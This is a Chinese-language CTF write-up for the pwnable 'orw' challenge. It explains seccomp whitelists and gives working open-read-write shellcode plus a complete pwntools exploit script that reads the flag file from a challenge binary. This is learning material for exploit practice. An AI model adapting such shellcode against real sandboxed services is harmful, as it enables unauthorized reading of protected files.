Pwnable_orw

0x00 前言

咕了许久,重拾本就会的不多的pwn,发现不太顺手了。

之前也接触过ORW的题目,但没去深入的了解其细节,只抄了个EXP拿了个flag就完事了。

今天用这道题目详细记录一下ORW类型的题目。

题目原出处是在pwnable.tw, BUUCTF上面也有。

0x01 题目分析

保护与main函数

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

主函数逻辑也特别简单,读取我们的输入存到变量shellcode处,然后执行shellcode()

如果忽视掉第3行的orw_seccomp()那么就可以直接向程序输入一段shellcode就能getshell。

seccomp

第3行的内容也便是ORW这类题目的重点所在。

关于seccomp:

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。

seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

seccomp 简单来说就是一个白名单,每个进程进行系统调用(system call)时,kernal 都会检查对应的白名单以确认该进程是否有权限使用这个系统调用。这个白名单是用 berkeley package filter(BPF)格式书写的。

具体可以参考如下链接:

大佬的博客

CSDN

PS: 第一个博客里也讲到了这道题目是如何实现seccomp的了,是与prctl有关。

PS: 而我第一次遇到ORW的题目是在极客大挑战2019 的 babyshellcode和Not bad这俩题目,这俩题目都是通过seccomp_rule_add来实现seccomp的。

也就是说,这个程序相当于禁用了system。

这段程序中,unk_8048640位置存储的即为“白名单”,通过这个白名单,可以看到这个程序允许的系统调用。

之前看到过一篇博文,有师傅手动把这个白名单提取出来了,但是我找不到博文链接了。

工具seccomp-tools

用工具seccomp-tools能更直观更便捷的查看这个“白名单”。

安装seccomp-tools步骤(环境Ubuntu 16.04):

首先需要gem和ruby(版本>=2.4):

我用的阿里云的源,通过apt-get 安装的ruby版本是2.3,死活安不上2.4,Google了一番找到了安装方法:

1
2
3
4
5
$ sudo apt-add-repository ppa:brightbox/ruby-ng

$ sudo apt-get update

$ sudo apt-get install ruby2.4 ruby2.4-dev

然后sudo gem install seccomp-tools即可。

终端执行命令$ seccomp-tools dump ./orw即可查看“白名单”

绿色的即为允许的系统调用。

可以看到该程序可以进行open read write等系统调用。

解题思路

结合前面的分析,这道题目的解题策略可以确定为ORW即open、read、write,也就是先打开存放flag的文件,将其内容读取到某块缓冲区,然后通过write打印出来。

0x02 Do it!

关于系统调用

对于32位来说:

1
2
3
4
5
系统调用号:EAX

参数:EBX、ECX、EDX、ESI、EDI、EBP

返回值:EAX

对于64位来说:

1
2
3
4
5
系统调用号:RAX

参数:RDI、RSI、RDX、R10、R8、R9

返回值:RAX

对于我们的ORW(32位)来说:

系统调用号:eaxNameargs1:ebxargs2:ecxargs3:edx
3sys_readunsigned int fdchar *bufsize_t count
4sys_writeunsigned int fdchar *bufsize_t count
5sys_openchar __user *filenameint flagsint mode

编写shellcode

首先我们需要open,由于BUUOJ上面存放flag的文件名就叫flag,这也就为我们open提供了便利。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//open(flag,0,0)
mopen = '''
mov eax,5;
xor ecx,ecx;
xor edx,edx;
push 0; \x00 用于截断字符串(flag)
push 0x67616C66; flag的小端序写法
mov ebx,esp; esp指向字符串"flag\0"
int 0x80;
'''
//read(fd,esp,0x50) fd即open的返回值,存在eax中。
mread = '''
mov ecx,ebx; esp处用作缓冲区读取flag
mov ebx,eax; eax为open的返回值,即读取到的文件的file ID(如果读取失败则返回-1)
mov eax,3;
mov edx,0x50;
int 0x80;
'''
//write(1,esp,0x50)
mwrite = '''
mov eax,4;
mov ebx,1; 文件描述符 stdout
mov edx,0x50;
int 0x8
'''

这段汇编应该挺容易理解的,然后就没啥难点了…

同样还可以利用pwntools的shellcraft来构造,需要指明context.arch,32位就i386,64位就amd64

1
2
3
4
5
sh = shellcraft.pushstr('flag')
sh += shellcraft.syscall('SYS_open',"esp",0)
sh += shellcraft.syscall('SYS_read','eax','esp',0x50)
sh += shellcraft.syscall('SYS_write',1,'esp',0x50)
sh = asm(sh)

0x03完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(arch = 'i386',os = 'linux')
c = process('./orw')
#c = remote('node3.buuoj.cn',26916)

#gdb.attach(c,'b*0x804858A')

c.recvuntil('Give my your shellcode:')

mopen = '''
mov eax,5;
xor ecx,ecx;
xor edx,edx;
push 0;
push 0x67616C66;
mov ebx,esp;
int 0x80;
'''

mread = '''
mov ecx,ebx;
mov ebx,eax;
mov eax,3;
mov edx,0x50;
int 0x80;
'''

mwrite = '''
mov eax,4;
mov ebx,1;
mov edx,0x50;
int 0x80;
'''


sh = asm(mopen) + asm(mread) + asm(mwrite)
print hex(len(sh))
c.sendline(sh)

c.interactive()

这段EXP在BUUOJ上是可以打通的,如果想在pwnable.tw打通,需要修改一下 open 那块的汇编,应该向ebx传入flag文件的绝对路径。